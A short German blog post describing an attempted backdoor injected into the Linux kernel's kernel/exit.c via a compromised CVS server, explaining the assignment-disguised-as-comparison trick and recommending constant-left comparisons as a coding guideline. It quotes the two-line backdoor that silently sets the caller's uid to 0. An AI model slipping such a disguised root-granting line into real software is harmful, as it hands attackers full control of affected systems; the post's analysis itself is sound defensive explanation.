Ein netter Versuch die Linux-Kernelquellen zu manipulieren ist heute bekannt geworden: in einen CVS Server wurde offensichtlich eingebrochen und versucht diese Zeilen in die Datei kernel/exit.c einzufügen:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
Das diese Manipulation reichlich sinnlos ist, weil die Kernel-Quellen mit Bitkeeper verwaltet werden, war schnell klar. Lediglich um lesenden Zugriff für CVS User zu ermöglichen werden sie regelmäßig auf den CVS-Server exportiert, der Hack fand also am falschen Ende der Einbahnstraße statt.
Interessant ist jedoch der Hack selbst: in der zweiten if-Bedingung wird kein Vergleich (==) sondern eine Zuweisung (=) durchgeführt.
Dem geneigten Programmierer fällt das beim Lesen mitunter nicht auf, es ist auch eine beliebte Fehlerquelle – nicht nur bei Anfängern. Genau aus diesem Grund ist es Gold wert Coding-Guidelines einzuführen, die Konstanten in Vergleichen grundsätzlich links vorschreiben:
if (0 == current->uid)
Das sieht erstmal gewöhnungsbedürftig aus, der Compiler meckert jedoch sofort bei versehentlichen Zuweisungen. Wird diese Regel konsequent durchgezogen, würden solche Angriffe sofort auffallen, versehentliche Zuweisungen hätten keine Chance.